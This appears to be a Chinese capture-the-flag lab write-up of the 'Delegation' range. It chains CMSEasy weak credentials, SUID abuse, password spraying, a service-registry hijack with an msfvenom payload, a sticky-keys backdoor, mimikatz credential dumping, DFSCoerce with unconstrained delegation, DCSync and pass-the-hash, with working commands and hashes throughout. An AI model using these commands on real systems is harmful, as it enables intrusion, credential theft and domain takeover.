文章封面:Delegation

Delegation

Delegation

image-20260313211643431

访问是cmseasy,扫描目录可以得到/admin,是后台界面,弱口令admin/123456登入

模板这里可以修改index.html,直接弹shell

image-20260313212830336

连上之后是www-data权限要提权

1
find / -perm -u=s -type f 2>/dev/null

image-20260313213136172

GTFO找一下这个diff看看,diff可以任意文件读

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

image-20260313213517293

uname -m查看到是32位,传fscan和stowaway

image-20260313215031888

1
2
3
172.22.4.7 DC01
172.22.4.19 FILESERVER
172.22.4.45 WIN19

先内网穿透一下,前面的hint提示WIN19/Adrian和rockyou,说明要爆密码

1
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19

最后爆出来babygirl1,远程桌面连接提示密码已过期,所以还是用rdesktop

1
proxychains4 rdesktop 172.22.4.45 -r disk:share=/tmp

登进去之后桌面有一个PrivescCheck

image-20260313222434611

这里html存放扫描结果

image-20260313222818906

这里说是普通用户对注册表有写权限,也就是对修改路径为恶意程序来提权,这里用cs生成一个

然后执行powershell命令

1
2
3
4
5
6
PS C:\Users\Adrian\desktop> reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\beacon.exe" /f
操作成功完成。
PS C:\Users\Adrian\desktop> reg query "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\gupdate
    ImagePath    REG_EXPAND_SZ    C:\Users\Adrian\Desktop\artifact.exe

然后启动gupdate服务

1
cmd /c "sc start gupdate"

这里非常奇怪连不上cs,换网上打法打粘滞键提权了

1
msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\shift.bat" --platform windows -f exe-service > evil.exe

然后新建shift.bat

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后执行命令

1
2
3
4
## 修改注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\evil.exe" /f
## 重启服务
sc start gupdate

image-20260313230045295

回到锁定界面,然后按五下shift,接下来创一个新用户,添加到管理员组再登入

1
2
net user 0d00 0d000721 /add
net localgroup administrators 0d00 /add

image-20260313230536768

然后就是横向了,先获取域信息,上传mimikatz

1
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Authentication Id : 0 ; 28018 (00000000:00006d72)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2026/3/13 20:46:59
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : WIN19$
         * Domain   : XIAORANG
         * NTLM     : 034d08b9bfcda6125f7f8604c6f9d7a7
         * SHA1     : 2d8d749e8f2da3ad77f6567ef0cf066aa93ca97b
        tspkg :
        wdigest :
         * Username : WIN19$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : WIN19$
         * Domain   : xiaorang.lab
         * Password : 88 16 91 2b ff 34 91 3e 93 a3 2a 91 75 e3 f4 6c 63 cc 36 1a 48 1a 4b 2d 4f f1 24 30 df 16 57 27 ec ae 28 ac bc cf ff 0c 4f 66 bd dd c4 af ad 47 f9 48 3f df b8 1d 81 fa 87 2f 9c 9f 83 bc 51 b3 02 8e 95 37 a1 b8 7e 86 6b 5c 15 2b f8 34 d9 3d 3a 29 ca f9 ec f7 55 ca 61 0f 19 19 32 58 cd 68 a2 dc f3 60 e8 80 54 81 11 e2 93 6a 62 d5 68 06 f6 46 1e 59 b7 13 fa cf a5 29 e6 50 bc 48 ad 8f 4a 62 8e 16 ea 11 74 d3 0d 27 51 00 a2 49 62 31 8e 8b a0 fb 53 d0 df 48 65 5d d6 cd ac 20 5a d3 aa 56 6a 8a 82 47 00 1a c0 56 37 0d e5 1e c3 8b c7 8f c0 4c 1b 24 43 bc 47 61 77 da ff 99 44 cd 53 50 59 3d 9a 5c 11 ad 01 1e 05 86 22 b0 aa 40 ac bc 4a 50 59 89 07 f2 95 cd 42 79 49 31 fb 91 47 ae 56 f9 70 f9 51 d8 de 72 7b 23 2d 23 a7 3e
        ssp :
        credman :

得到WIN19$的ntlm034d08b9bfcda6125f7f8604c6f9d7a7

1
proxychains4 -q python3 bloodhound.py -u "WIN19$" --hashes 034d08b9bfcda6125f7f8604c6f9d7a7:034d08b9bfcda6125f7f8604c6f9d7a7 -d xiaorang.lab -dc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip

依旧拿这个bloodbound去分析域内信息

image-20260313233547478

WIN19 和 DC01 都存在非约束性委托,这里利用非约束性委派

这里先利用Rubeus.exe监听TGT

1
Rubeus.exe monitor /interval:1 /filteruser:DC01$

然后用前面拿到的哈希触发DC01回连,这里的dfscoerce.py得去git下DFSCoerce

1
proxychains4 python3 dfscoerce.py -u "WIN19$" -hashes :034d08b9bfcda6125f7f8604c6f9d7a7 -d xiaorang.lab WIN19 172.22.4.7

image-20260314000555317

把这一坨base64保存下来,然后给它解码保存成DC.kirbi

1
certutil -f -decode base64.txt DC.kirbi

image-20260314001047934

然后使用mimikatz进行DCSync

1
mimikatz.exe "kerberos::purge" "kerberos::ptt DC.kirbi" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

image-20260314001211908

拿到Administrator的hash

1
Administrator   4889f6553239ace1f7c47fa2c619c252

最高权限拿下现在直接读fileserver的flag

1
proxychains4 crackmapexec smb 172.22.4.19 -u administrator -H4889f6553239ace1f7c47fa2c619c252 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image-20260314001640216

拿域控flag

1
proxychains4 crackmapexec smb 172.22.4.7 -u administrator -H4889f6553239ace1f7c47fa2c619c252 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"

image-20260314001731546

使用 Hugo 构建
主题 Stack 由 Jimmy 设计